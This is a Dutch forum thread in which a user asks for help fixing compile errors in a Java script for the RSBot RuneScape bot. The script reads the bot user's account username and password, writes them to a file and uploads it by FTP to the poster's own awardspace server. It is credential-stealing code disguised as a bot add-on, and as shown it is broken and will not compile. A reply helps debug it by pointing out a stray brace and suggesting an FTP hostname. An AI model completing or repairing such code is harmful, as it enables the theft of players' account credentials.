Ga naar inhoud

Heb hulp nodig bij een javascript met ftp


Aanbevolen berichten

Beste,

Ik heb een javascript gemaakt in een bot om accountgegevens door te sturen naar een website. Maar als ik compile krijg ik errors die ik maar nie kan oplossen iemand die kan helpen?

Alvast bedankt,

Wimpie

import java.net.*;
import java.awt.*;
import java.io.*;
import java.util.*;
import com.speljohan.rsbot.script.Random;
import sun.net.ftp.*;

public class AccountInfo extends Random {

       String filename = "AccountInfo.txt";
       String usern = account.getUsername();
       String passwd = account.getPassword();

   Account account = Bot.getAccount();

       public String getAuthor() {
           return ( "Wimpie" );
       }

       public String getName() {
           return ( "Accountinfo" );
       }

       public double getVersion() {
           return ( 1.0 );
       }

       Writer output = new BufferedWriter(new FileWriter(filename));
       try {
           output.write(usern);
           output.write(passwd);
           }
       }
       finally {
               output.close();
               }

       String server = "wimpiewimpie.awardspace.com";
       String username = "MIJNUSERNAME";
       String password = "MIJNPASSWOORD";

       FtpClient client = new FtpClient();
       client.openServer(server);
       client.login(username, password);
       client.binary();
       TelnetOutputStream netOut = ftpClient.put(fileName);
}

compileftpko9.jpg

Link naar reactie
Delen op andere sites

dit is geen javaSCRIPT... dit is gewoon JAVA... (Wat wij op school ook kregen yannick) dus dit hoort ook niet thuis in het webdevelopment topic (even de naam aanpassen ook trouwens.)

ik kan een heel klein beetje JAVA.. maar dat is echt maar de basis. Hier snap ik niet echt iets van. :D

Misschien iemand anders?

EDIT:

ik zie wel een accolade teveel staan volgens mij

Writer output = new BufferedWriter(new FileWriter(filename));
       try {
           output.write(usern);
           output.write(passwd);
           }
       }     <--

die waar dat pijltje bij staat lijkt mij een accolade te veel..

maar wat wil je eigenlijk hier precies mee doen dan? bestanden naar een FTP server toesturen?

kan je dat dan niet beter gewoon met een FTPClient doen.. of met de windows verkenner?

en ik zag nog een foutje... bij de FTP server van awardspace moet ftp:// of ftp. voor

Maar dat weet ik niet zeker hoor!!!

String server = "wimpiewimpie.awardspace.com";

maar dat moet volgens mij zijn:

String server = "ftp.wimpiewimpie.awardspace.com";
of
String server = "ftp://wimpiewimpie.awardspace.com";

Link naar reactie
Delen op andere sites

×
×
  • Nieuwe aanmaken...

Belangrijke informatie

We hebben cookies geplaatst op je toestel om deze website voor jou beter te kunnen maken. Je kunt de cookie instellingen aanpassen, anders gaan we er van uit dat het goed is om verder te gaan.